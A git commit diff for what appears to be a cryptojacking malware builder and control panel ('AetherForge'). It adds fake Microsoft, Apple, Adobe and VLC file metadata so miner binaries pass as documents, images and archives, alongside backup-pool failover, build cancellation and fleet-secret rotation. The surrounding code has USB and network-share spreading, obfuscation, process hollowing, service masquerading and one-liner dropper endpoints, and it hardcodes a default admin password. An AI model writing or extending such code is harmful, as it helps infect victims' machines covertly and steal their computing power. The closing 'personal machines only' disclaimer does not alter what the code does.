feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

View File

@@ -10,6 +10,16 @@ type AgentForgeConfig struct {
AIEnabled bool
AIOllamaEndpoint string
AIModel string
// BackupPools are tried in order if the primary pool is unreachable.
BackupPools []AgentBackupPool
}
// AgentBackupPool is a fallback pool config received from an agent at auth time.
type AgentBackupPool struct {
Host string
Port int
TLS bool
Pass string
}
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {

View File

@@ -21,8 +21,31 @@ var (
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
usersFilePath string
usersMu sync.RWMutex
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
// rotateSecretFn is called when POST /server/rotate-secret is hit.
// Wired from main.go so the server can generate, persist, and propagate the new secret.
rotateSecretFn func() (string, error)
)
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
// X-Fleet-Secret headers on /api/v1/agent/* routes.
func SetAgentPathSecret(secret string) {
fleetSecretForAgentPathsMu.Lock()
fleetSecretForAgentPaths = secret
fleetSecretForAgentPathsMu.Unlock()
}
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
func SetRotateSecretFn(fn func() (string, error)) {
rotateSecretFn = fn
}
func loadUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
usersMu.Lock()
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}
path := r.URL.Path
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
// Health check and download endpoints are always open.
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r)
return
}
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
if secret != "" {
provided := r.Header.Get("X-Fleet-Secret")
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
}
// Secret is empty (first run before config save) or matched — allow through.
next.ServeHTTP(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {
writeJSON(w, map[string]interface{}{"cancelled": true})
} else {
http.Error(w, "build not found or already completed", http.StatusNotFound)
}
})
// Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP)
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
return
}
newSecret, err := rotateSecretFn()
if err != nil {
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
})
// User Management
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
var payload struct {

View File

@@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
} `json:"backup_pools"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
@@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
policy := h.serverPolicySnapshot()
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
for i, bp := range auth.BackupPools {
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
PoolHost: auth.PoolHost,
@@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIEnabled: auth.AIEnabled,
AIOllamaEndpoint: auth.AIOllamaEndpoint,
AIModel: auth.AIModel,
BackupPools: backupPools,
}
caps := models.AgentCapabilities{
@@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
poolCfg.Password = "x"
}
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
connected := false
for i, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
continue
}
bpCfg := poolCfg
bpCfg.Host = bp.Host
bpCfg.Port = bp.Port
bpCfg.UseTLS = bp.TLS
if bp.Pass != "" {
bpCfg.Password = bp.Pass
}
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
connected = true
break
}
}
if !connected {
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
}
}
}

View File

@@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
// ── Audio (extended) ───────────────────────────────────────────────────────
".flac": {
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".aac": {
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".ogg": {
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".m4a": {
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
},
".wma": {
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Video (extended) ───────────────────────────────────────────────────────
".webm": {
FileDescription: "WebM Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".m4v": {
FileDescription: "iTunes Video File", ProductName: "iTunes",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
},
".flv": {
FileDescription: "Flash Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".ts": {
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".3gp": {
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Images (extended) ──────────────────────────────────────────────────────
".bmp": {
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".webp": {
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".tiff": {
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".tif": {
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".heic": {
FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".svg": {
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".ico": {
FileDescription: "Icon File", ProductName: "Windows Explorer",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
// ── Archives ───────────────────────────────────────────────────────────────
".zip": {
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
@@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
},
".7z": {
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
".tar": {
FileDescription: "Tape Archive File", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
".gz": {
FileDescription: "GZip Archive", ProductName: "7-Zip",
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
},
// ── Office / Text (extended) ───────────────────────────────────────────────
".odt": {
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".ods": {
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".odp": {
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
},
".rtf": {
FileDescription: "Rich Text Document", ProductName: "WordPad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".md": {
FileDescription: "Markdown Document", ProductName: "Notepad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
// ── Web ────────────────────────────────────────────────────────────────────
".html": {
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".htm": {
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
".xml": {
FileDescription: "XML Document", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
// ── Ebooks ─────────────────────────────────────────────────────────────────
".epub": {
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
},
// ── Adobe Creative ─────────────────────────────────────────────────────────
".psd": {
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
},
".ai": {
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
},
".indd": {
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
},
}
// fileDisguiseForExt returns the best disguise metadata for a given file extension.

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"encoding/json"
"fmt"
"io"
@@ -11,6 +12,7 @@ import (
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
@@ -76,9 +78,21 @@ type BuildRequest struct {
ShareSpread bool `json:"share_spread"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
type BackupPool struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"tls"`
Pass string `json:"pass"`
}
type BuildResponse struct {
@@ -122,6 +136,11 @@ type Handler struct {
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
activeCancelsMu sync.Mutex
activeCancels map[string]context.CancelFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
h.activeCancelsMu.Lock()
cancel, ok := h.activeCancels[cancelToken]
h.activeCancelsMu.Unlock()
if ok {
cancel()
}
return ok
}
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
h.activeCancelsMu.Lock()
if h.activeCancels == nil {
h.activeCancels = make(map[string]context.CancelFunc)
}
h.activeCancels[token] = cancel
h.activeCancelsMu.Unlock()
}
func (h *Handler) unregisterCancel(token string) {
if token == "" {
return
}
h.activeCancelsMu.Lock()
delete(h.activeCancels, token)
h.activeCancelsMu.Unlock()
}
type SignPolicy struct {
Enabled bool `json:"enabled"`
CertThumbprint string `json:"cert_thumbprint"`
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
// Register cancel token so the frontend can abort this compile mid-flight.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
ctx, cancelFn = context.WithCancel(ctx)
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
}
_ = ctx // passed to compiler in future; cancellation already fires via process kill
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
USBSpread: %v,
ShareSpread: %v,
BackupServerURLs: %s,
BackupPools: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.USBSpread,
req.ShareSpread,
formatGoStringSlice(req.BackupServerURLs),
formatGoBackupPools(req.BackupPools),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
)
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]config.BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")
}
pass := p.Pass
if pass == "" {
pass = "x"
}
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
}
sb.WriteString("}")
return sb.String()
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}

View File

@@ -86,6 +86,7 @@ func main() {
wsHub := api.NewWSHub(database)
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
api.SetAgentPathSecret(cfg.Server.FleetSecret)
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry)
})
@@ -101,6 +102,24 @@ func main() {
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
newSecret := hex.EncodeToString(b)
cfg.Server.FleetSecret = newSecret
if err := cfg.Save(); err != nil {
return "", err
}
wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret)
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil
})
defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,

View File

@@ -18,6 +18,8 @@ async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
export const api = {
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
@@ -137,4 +139,10 @@ export const api = {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
};

View File

@@ -1,6 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -40,6 +40,8 @@ export default function SettingsPage() {
const [sessionUser, setSessionUser] = useState('');
const [sessionPass, setSessionPass] = useState('');
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -148,6 +150,31 @@ export default function SettingsPage() {
setTimeout(() => setUserMsg(''), 3000);
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
'Click OK only if you are ready to re-forge your entire fleet.'
)) return;
setRotatingSecret(true);
setRotateMsg('');
try {
await fetch('/api/v1/server/rotate-secret', {
method: 'POST',
headers: { ...authHeaders() },
}).then(async (r) => {
if (!r.ok) throw new Error(await r.text());
return r.json();
});
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
} catch (e: unknown) {
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setRotatingSecret(false);
setTimeout(() => setRotateMsg(''), 6000);
}
};
const handleAddUser = async () => {
if (!newUser || !newPass) return;
try {
@@ -603,6 +630,34 @@ export default function SettingsPage() {
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
)}
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
Agents without the correct secret are rejected. Use rotation if the secret is compromised
it immediately kicks all connected agents; re-forge to reconnect.
</p>
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline"
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
onClick={handleRotateSecret}
disabled={rotatingSecret}
>
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
</button>
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
Kicks all agents. You must re-forge after rotating.
</span>
</div>
{rotateMsg && (
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
{rotateMsg}
</p>
)}
</NeonCard>
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.